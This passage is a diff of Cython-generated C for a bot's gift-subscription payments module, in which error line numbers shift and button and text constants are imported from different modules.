< 3 __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_2_delete_gift_handler->tp_print = 0; @@ -13454,15 +14001,15 @@ static int __Pyx_modinit_type_init_code(void) { } #endif #if CYTHON_USE_TYPE_SPECS - __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_3_gift_subscription_handler = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_4gift___pyx_scope_struct_3_gift_subscription_handler_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_3_gift_subscription_handler)) __PYX_ERR(0, 156, __pyx_L1_error) - if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_4gift___pyx_scope_struct_3_gift_subscription_handler_spec, __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_3_gift_subscription_handler) < 0) __PYX_ERR(0, 156, __pyx_L1_error) + __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_3_gift_subscription_handler = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_4gift___pyx_scope_struct_3_gift_subscription_handler_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_3_gift_subscription_handler)) __PYX_ERR(0, 158, __pyx_L1_error) + if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_4gift___pyx_scope_struct_3_gift_subscription_handler_spec, __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_3_gift_subscription_handler) < 0) __PYX_ERR(0, 158, __pyx_L1_error) #else __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_3_gift_subscription_handler = &__pyx_type_8handlers_8payments_4gift___pyx_scope_struct_3_gift_subscription_handler; #endif #if !CYTHON_COMPILING_IN_LIMITED_API #endif #if !CYTHON_USE_TYPE_SPECS - if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_3_gift_subscription_handler) < 0) __PYX_ERR(0, 156, __pyx_L1_error) + if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_3_gift_subscription_handler) < 0) __PYX_ERR(0, 158, __pyx_L1_error) #endif #if PY_MAJOR_VERSION < 3 __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_3_gift_subscription_handler->tp_print = 0; @@ -13473,15 +14020,15 @@ static int __Pyx_modinit_type_init_code(void) { } #endif #if CYTHON_USE_TYPE_SPECS - __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_4_confirm_gift_handler = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_4gift___pyx_scope_struct_4_confirm_gift_handler_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_4_confirm_gift_handler)) __PYX_ERR(0, 178, __pyx_L1_error) - if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_4gift___pyx_scope_struct_4_confirm_gift_handler_spec, __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_4_confirm_gift_handler) < 0) __PYX_ERR(0, 178, __pyx_L1_error) + __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_4_confirm_gift_handler = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_4gift___pyx_scope_struct_4_confirm_gift_handler_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_4_confirm_gift_handler)) __PYX_ERR(0, 180, __pyx_L1_error) + if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_4gift___pyx_scope_struct_4_confirm_gift_handler_spec, __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_4_confirm_gift_handler) < 0) __PYX_ERR(0, 180, __pyx_L1_error) #else __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_4_confirm_gift_handler = &__pyx_type_8handlers_8payments_4gift___pyx_scope_struct_4_confirm_gift_handler; #endif #if !CYTHON_COMPILING_IN_LIMITED_API #endif #if !CYTHON_USE_TYPE_SPECS - if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_4_confirm_gift_handler) < 0) __PYX_ERR(0, 178, __pyx_L1_error) + if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_4_confirm_gift_handler) < 0) __PYX_ERR(0, 180, __pyx_L1_error) #endif #if PY_MAJOR_VERSION < 3 __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_4_confirm_gift_handler->tp_print = 0; @@ -13492,15 +14039,15 @@ static int __Pyx_modinit_type_init_code(void) { } #endif #if CYTHON_USE_TYPE_SPECS - __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_5_finalize_gift_handler = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_4gift___pyx_scope_struct_5_finalize_gift_handler_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_5_finalize_gift_handler)) __PYX_ERR(0, 218, __pyx_L1_error) - if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_4gift___pyx_scope_struct_5_finalize_gift_handler_spec, __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_5_finalize_gift_handler) < 0) __PYX_ERR(0, 218, __pyx_L1_error) + __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_5_finalize_gift_handler = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_4gift___pyx_scope_struct_5_finalize_gift_handler_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_5_finalize_gift_handler)) __PYX_ERR(0, 220, __pyx_L1_error) + if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_4gift___pyx_scope_struct_5_finalize_gift_handler_spec, __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_5_finalize_gift_handler) < 0) __PYX_ERR(0, 220, __pyx_L1_error) #else __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_5_finalize_gift_handler = &__pyx_type_8handlers_8payments_4gift___pyx_scope_struct_5_finalize_gift_handler; #endif #if !CYTHON_COMPILING_IN_LIMITED_API #endif #if !CYTHON_USE_TYPE_SPECS - if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_5_finalize_gift_handler) < 0) __PYX_ERR(0, 218, __pyx_L1_error) + if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_5_finalize_gift_handler) < 0) __PYX_ERR(0, 220, __pyx_L1_error) #endif #if PY_MAJOR_VERSION < 3 __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_5_finalize_gift_handler->tp_print = 0; @@ -13511,15 +14058,15 @@ static int __Pyx_modinit_type_init_code(void) { } #endif #if CYTHON_USE_TYPE_SPECS - __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_6_inline_gift_handler = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_4gift___pyx_scope_struct_6_inline_gift_handler_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_6_inline_gift_handler)) __PYX_ERR(0, 278, __pyx_L1_error) - if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_4gift___pyx_scope_struct_6_inline_gift_handler_spec, __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_6_inline_gift_handler) < 0) __PYX_ERR(0, 278, __pyx_L1_error) + __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_6_inline_gift_handler = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_4gift___pyx_scope_struct_6_inline_gift_handler_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_6_inline_gift_handler)) __PYX_ERR(0, 280, __pyx_L1_error) + if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_4gift___pyx_scope_struct_6_inline_gift_handler_spec, __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_6_inline_gift_handler) < 0) __PYX_ERR(0, 280, __pyx_L1_error) #else __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_6_inline_gift_handler = &__pyx_type_8handlers_8payments_4gift___pyx_scope_struct_6_inline_gift_handler; #endif #if !CYTHON_COMPILING_IN_LIMITED_API #endif #if !CYTHON_USE_TYPE_SPECS - if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_6_inline_gift_handler) < 0) __PYX_ERR(0, 278, __pyx_L1_error) + if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_6_inline_gift_handler) < 0) __PYX_ERR(0, 280, __pyx_L1_error) #endif #if PY_MAJOR_VERSION < 3 __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_6_inline_gift_handler->tp_print = 0; @@ -13530,15 +14077,15 @@ static int __Pyx_modinit_type_init_code(void) { } #endif #if CYTHON_USE_TYPE_SPECS - __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_7_validate_client_code = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_4gift___pyx_scope_struct_7_validate_client_code_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_7_validate_client_code)) __PYX_ERR(0, 341, __pyx_L1_error) - if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_4gift___pyx_scope_struct_7_validate_client_code_spec, __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_7_validate_client_code) < 0) __PYX_ERR(0, 341, __pyx_L1_error) + __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_7_validate_client_code = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_4gift___pyx_scope_struct_7_validate_client_code_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_7_validate_client_code)) __PYX_ERR(0, 343, __pyx_L1_error) + if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_4gift___pyx_scope_struct_7_validate_client_code_spec, __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_7_validate_client_code) < 0) __PYX_ERR(0, 343, __pyx_L1_error) #else __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_7_validate_client_code = &__pyx_type_8handlers_8payments_4gift___pyx_scope_struct_7_validate_client_code; #endif #if !CYTHON_COMPILING_IN_LIMITED_API #endif #if !CYTHON_USE_TYPE_SPECS - if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_7_validate_client_code) < 0) __PYX_ERR(0, 341, __pyx_L1_error) + if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_7_validate_client_code) < 0) __PYX_ERR(0, 343, __pyx_L1_error) #endif #if PY_MAJOR_VERSION < 3 __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_7_validate_client_code->tp_print = 0; @@ -14078,426 +14625,433 @@ if (!__Pyx_RefNanny) { __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_2 = PyList_New(9); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 17, __pyx_L1_error) + __pyx_t_2 = PyList_New(8); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 18, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); + __Pyx_INCREF(__pyx_n_s_MAIN_MENU); + __Pyx_GIVEREF(__pyx_n_s_MAIN_MENU); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_MAIN_MENU)) __PYX_ERR(0, 18, __pyx_L1_error); __Pyx_INCREF(__pyx_n_s_BACK); __Pyx_GIVEREF(__pyx_n_s_BACK); - if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_BACK)) __PYX_ERR(0, 17, __pyx_L1_error); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 1, __pyx_n_s_BACK)) __PYX_ERR(0, 18, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_GIFTS_MENU); + __Pyx_GIVEREF(__pyx_n_s_GIFTS_MENU); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 2, __pyx_n_s_GIFTS_MENU)) __PYX_ERR(0, 18, __pyx_L1_error); __Pyx_INCREF(__pyx_n_s_GIFT); __Pyx_GIVEREF(__pyx_n_s_GIFT); - if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 1, __pyx_n_s_GIFT)) __PYX_ERR(0, 17, __pyx_L1_error); - __Pyx_INCREF(__pyx_n_s_GIFTS_ABOUT); - __Pyx_GIVEREF(__pyx_n_s_GIFTS_ABOUT); - if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 2, __pyx_n_s_GIFTS_ABOUT)) __PYX_ERR(0, 17, __pyx_L1_error); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 3, __pyx_n_s_GIFT)) __PYX_ERR(0, 18, __pyx_L1_error); __Pyx_INCREF(__pyx_n_s_MY_GIFTS); __Pyx_GIVEREF(__pyx_n_s_MY_GIFTS); - if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 3, __pyx_n_s_MY_GIFTS)) __PYX_ERR(0, 17, __pyx_L1_error); - __Pyx_INCREF(__pyx_n_s_PROFILE); - __Pyx_GIVEREF(__pyx_n_s_PROFILE); - if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 4, __pyx_n_s_PROFILE)) __PYX_ERR(0, 17, __pyx_L1_error); - __Pyx_INCREF(__pyx_n_s_SHARE_GIFT); - __Pyx_GIVEREF(__pyx_n_s_SHARE_GIFT); - if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 5, __pyx_n_s_SHARE_GIFT)) __PYX_ERR(0, 17, __pyx_L1_error); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 4, __pyx_n_s_MY_GIFTS)) __PYX_ERR(0, 18, __pyx_L1_error); __Pyx_INCREF(__pyx_n_s_APPLY); __Pyx_GIVEREF(__pyx_n_s_APPLY); - if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 6, __pyx_n_s_APPLY)) __PYX_ERR(0, 17, __pyx_L1_error); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 5, __pyx_n_s_APPLY)) __PYX_ERR(0, 18, __pyx_L1_error); __Pyx_INCREF(__pyx_n_s_CANCEL); __Pyx_GIVEREF(__pyx_n_s_CANCEL); - if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 7, __pyx_n_s_CANCEL)) __PYX_ERR(0, 17, __pyx_L1_error); - __Pyx_INCREF(__pyx_n_s_NO_GIFTS); - __Pyx_GIVEREF(__pyx_n_s_NO_GIFTS); - if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 8, __pyx_n_s_NO_GIFTS)) __PYX_ERR(0, 17, __pyx_L1_error); - __pyx_t_3 = __Pyx_Import(__pyx_n_s_handlers_buttons_gifts, __pyx_t_2, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 17, __pyx_L1_error) + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 6, __pyx_n_s_CANCEL)) __PYX_ERR(0, 18, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_SHARE_GIFT); + __Pyx_GIVEREF(__pyx_n_s_SHARE_GIFT); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 7, __pyx_n_s_SHARE_GIFT)) __PYX_ERR(0, 18, __pyx_L1_error); + __pyx_t_3 = __Pyx_Import(__pyx_n_s_handlers_buttons, __pyx_t_2, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 18, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_BACK); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 17, __pyx_L1_error) + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_MAIN_MENU); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 18, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - if (PyDict_SetItem(__pyx_d, __pyx_n_s_BACK, __pyx_t_2) < 0) __PYX_ERR(0, 17, __pyx_L1_error) + if (PyDict_SetItem(__pyx_d, __pyx_n_s_MAIN_MENU, __pyx_t_2) < 0) __PYX_ERR(0, 18, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_GIFT); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 17, __pyx_L1_error) + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_BACK); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 18, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - if (PyDict_SetItem(__pyx_d, __pyx_n_s_GIFT, __pyx_t_2) < 0) __PYX_ERR(0, 17, __pyx_L1_error) + if (PyDict_SetItem(__pyx_d, __pyx_n_s_BACK, __pyx_t_2) < 0) __PYX_ERR(0, 18, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_GIFTS_ABOUT); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 17, __pyx_L1_error) + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_GIFTS_MENU); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 18, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - if (PyDict_SetItem(__pyx_d, __pyx_n_s_GIFTS_ABOUT, __pyx_t_2) < 0) __PYX_ERR(0, 17, __pyx_L1_error) + if (PyDict_SetItem(__pyx_d, __pyx_n_s_GIFTS_MENU, __pyx_t_2) < 0) __PYX_ERR(0, 18, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_MY_GIFTS); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 17, __pyx_L1_error) + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_GIFT); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 18, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - if (PyDict_SetItem(__pyx_d, __pyx_n_s_MY_GIFTS, __pyx_t_2) < 0) __PYX_ERR(0, 17, __pyx_L1_error) + if (PyDict_SetItem(__pyx_d, __pyx_n_s_GIFT, __pyx_t_2) < 0) __PYX_ERR(0, 18, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_PROFILE); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 17, __pyx_L1_error) + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_MY_GIFTS); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 18, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - if (PyDict_SetItem(__pyx_d, __pyx_n_s_PROFILE, __pyx_t_2) < 0) __PYX_ERR(0, 17, __pyx_L1_error) + if (PyDict_SetItem(__pyx_d, __pyx_n_s_MY_GIFTS, __pyx_t_2) < 0) __PYX_ERR(0, 18, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_SHARE_GIFT); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 17, __pyx_L1_error) + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_APPLY); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 18, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - if (PyDict_SetItem(__pyx_d, __pyx_n_s_SHARE_GIFT, __pyx_t_2) < 0) __PYX_ERR(0, 17, __pyx_L1_error) + if (PyDict_SetItem(__pyx_d, __pyx_n_s_APPLY, __pyx_t_2) < 0) __PYX_ERR(0, 18, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_APPLY); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 17, __pyx_L1_error) + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_CANCEL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 18, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - if (PyDict_SetItem(__pyx_d, __pyx_n_s_APPLY, __pyx_t_2) < 0) __PYX_ERR(0, 17, __pyx_L1_error) + if (PyDict_SetItem(__pyx_d, __pyx_n_s_CANCEL, __pyx_t_2) < 0) __PYX_ERR(0, 18, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_CANCEL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 17, __pyx_L1_error) + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_SHARE_GIFT); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 18, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - if (PyDict_SetItem(__pyx_d, __pyx_n_s_CANCEL, __pyx_t_2) < 0) __PYX_ERR(0, 17, __pyx_L1_error) - __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_NO_GIFTS); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 17, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_2); - if (PyDict_SetItem(__pyx_d, __pyx_n_s_NO_GIFTS, __pyx_t_2) < 0) __PYX_ERR(0, 17, __pyx_L1_error) + if (PyDict_SetItem(__pyx_d, __pyx_n_s_SHARE_GIFT, __pyx_t_2) < 0) __PYX_ERR(0, 18, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_3 = PyList_New(6); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 18, __pyx_L1_error) + __pyx_t_3 = PyList_New(8); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 20, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_INCREF(__pyx_n_s_GIFTS_TEXT_TEMPLATE); __Pyx_GIVEREF(__pyx_n_s_GIFTS_TEXT_TEMPLATE); - if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 0, __pyx_n_s_GIFTS_TEXT_TEMPLATE)) __PYX_ERR(0, 18, __pyx_L1_error); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 0, __pyx_n_s_GIFTS_TEXT_TEMPLATE)) __PYX_ERR(0, 20, __pyx_L1_error); __Pyx_INCREF(__pyx_n_s_get_gift_link); __Pyx_GIVEREF(__pyx_n_s_get_gift_link); - if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 1, __pyx_n_s_get_gift_link)) __PYX_ERR(0, 18, __pyx_L1_error); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 1, __pyx_n_s_get_gift_link)) __PYX_ERR(0, 20, __pyx_L1_error); __Pyx_INCREF(__pyx_n_s_SHARE_TEXT_TEMPLATE); __Pyx_GIVEREF(__pyx_n_s_SHARE_TEXT_TEMPLATE); - if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 2, __pyx_n_s_SHARE_TEXT_TEMPLATE)) __PYX_ERR(0, 18, __pyx_L1_error); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 2, __pyx_n_s_SHARE_TEXT_TEMPLATE)) __PYX_ERR(0, 20, __pyx_L1_error); __Pyx_INCREF(__pyx_n_s_SHARE_TEXT_TEMPLATE_NOT_INLINE); __Pyx_GIVEREF(__pyx_n_s_SHARE_TEXT_TEMPLATE_NOT_INLINE); - if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 3, __pyx_n_s_SHARE_TEXT_TEMPLATE_NOT_INLINE)) __PYX_ERR(0, 18, __pyx_L1_error); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 3, __pyx_n_s_SHARE_TEXT_TEMPLATE_NOT_INLINE)) __PYX_ERR(0, 20, __pyx_L1_error); __Pyx_INCREF(__pyx_n_s_get_gift_confirmation_text); __Pyx_GIVEREF(__pyx_n_s_get_gift_confirmation_text); - if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 4, __pyx_n_s_get_gift_confirmation_text)) __PYX_ERR(0, 18, __pyx_L1_error); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 4, __pyx_n_s_get_gift_confirmation_text)) __PYX_ERR(0, 20, __pyx_L1_error); __Pyx_INCREF(__pyx_n_s_GIFT_CHOICE); __Pyx_GIVEREF(__pyx_n_s_GIFT_CHOICE); - if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 5, __pyx_n_s_GIFT_CHOICE)) __PYX_ERR(0, 18, __pyx_L1_error); - __pyx_t_2 = __Pyx_Import(__pyx_n_s_handlers_texts, __pyx_t_3, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 18, __pyx_L1_error) + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 5, __pyx_n_s_GIFT_CHOICE)) __PYX_ERR(0, 20, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_GIFTS_ABOUT); + __Pyx_GIVEREF(__pyx_n_s_GIFTS_ABOUT); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 6, __pyx_n_s_GIFTS_ABOUT)) __PYX_ERR(0, 20, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_NO_GIFTS); + __Pyx_GIVEREF(__pyx_n_s_NO_GIFTS); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 7, __pyx_n_s_NO_GIFTS)) __PYX_ERR(0, 20, __pyx_L1_error); + __pyx_t_2 = __Pyx_Import(__pyx_n_s_handlers_texts, __pyx_t_3, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 20, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_GIFTS_TEXT_TEMPLATE); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 18, __pyx_L1_error) + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_GIFTS_TEXT_TEMPLATE); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 20, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - if (PyDict_SetItem(__pyx_d, __pyx_n_s_GIFTS_TEXT_TEMPLATE, __pyx_t_3) < 0) __PYX_ERR(0, 18, __pyx_L1_error) + if (PyDict_SetItem(__pyx_d, __pyx_n_s_GIFTS_TEXT_TEMPLATE, __pyx_t_3) < 0) __PYX_ERR(0, 20, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_get_gift_link); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 18, __pyx_L1_error) + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_get_gift_link); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 20, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - if (PyDict_SetItem(__pyx_d, __pyx_n_s_get_gift_link, __pyx_t_3) < 0) __PYX_ERR(0, 18, __pyx_L1_error) + if (PyDict_SetItem(__pyx_d, __pyx_n_s_get_gift_link, __pyx_t_3) < 0) __PYX_ERR(0, 20, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_SHARE_TEXT_TEMPLATE); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 18, __pyx_L1_error) + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_SHARE_TEXT_TEMPLATE); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 20, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - if (PyDict_SetItem(__pyx_d, __pyx_n_s_SHARE_TEXT_TEMPLATE, __pyx_t_3) < 0) __PYX_ERR(0, 18, __pyx_L1_error) + if (PyDict_SetItem(__pyx_d, __pyx_n_s_SHARE_TEXT_TEMPLATE, __pyx_t_3) < 0) __PYX_ERR(0, 20, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_SHARE_TEXT_TEMPLATE_NOT_INLINE); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 